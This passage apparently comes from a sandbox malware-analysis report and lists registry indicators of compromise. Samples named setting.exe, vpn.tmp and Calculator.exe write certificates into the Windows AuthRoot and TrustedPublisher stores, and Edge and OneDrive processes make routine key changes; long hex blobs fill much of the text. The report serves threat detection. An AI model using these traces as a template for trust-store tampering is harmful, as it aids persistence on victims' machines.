(str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-431 = "Iran Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" mask_svc.exe -
Modifies registry class 64 IoCs
Processes:
WerFault.exeMicrosoftEdgeCP.exeExplorer.EXEMicrosoftEdgeCP.exeMicrosoftEdge.exeOneDriveSetup.exeMicrosoftEdge.exeWerFault.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exetaskkill.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "656" WerFault.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "180429" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\Total MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\TypeLib OneDriveSetup.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = 60ee2e0d92c3d701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 WerFault.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\INTERFACE\{B54E7079-90C9-4C62-A6B8-B2834C33A04A}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{4B1C80DA-FA45-468F-B42B-46496BDBE0C5} OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\SYNCENGINECOMSERVER.SYNCENGINECOMSERVER\CURVER OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\INTERFACE\{DA82E55E-FA2F-45B3-AEC3-E7294106EF52}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C} OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\theonlygames.com MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000005b2f8ce3b33c2720b530e6c1bc0069718b8c519217f534988097e327441c3dc3034ab046b88cc7dd9b605f0e41773f7ff90e52abce8ab975da5b MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\SyncEngineStorageProviderHandlerProxy.SyncEngineStorageProviderHandlerProxy OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\ProxyStubClsid32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\.fluid\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.196.0921.0007\\OneDriveFileLauncher.exe\" \"%1\"" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{1EDD003E-C446-43C5-8BA0-3778CC4792CC}\ProxyStubClsid32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\theonlygames.com MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "1625" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\TypeLib\{638805C3-4BA3-4AC8-8AAC-71A0BA2BC284}\1.0\HELPDIR OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TypeLib\Version = "1.0" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\Interface\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "325" taskkill.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = be178f6164c3d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\www.onlinecasinoground.nl MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{1B71F23B-E61F-45C9-83BA-235D55F50CF9} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_CLASSES\WOW6432NODE\CLSID\{389510B7-9E58-40D7-98BF-60B911CB0EA9}\VERSIONINDEPENDENTPROGID OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\mssharepointclient\shell OneDriveSetup.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d3ed2361cdcfd701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe -
Processes:
setting.exevpn.tmpCalculator.exeinstaller.exeCalculator.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254832000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd setting.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E setting.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Calculator.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA setting.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be setting.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E Calculator.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 190000000100000010000000ea6089055218053dd01e37e1d806eedf0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300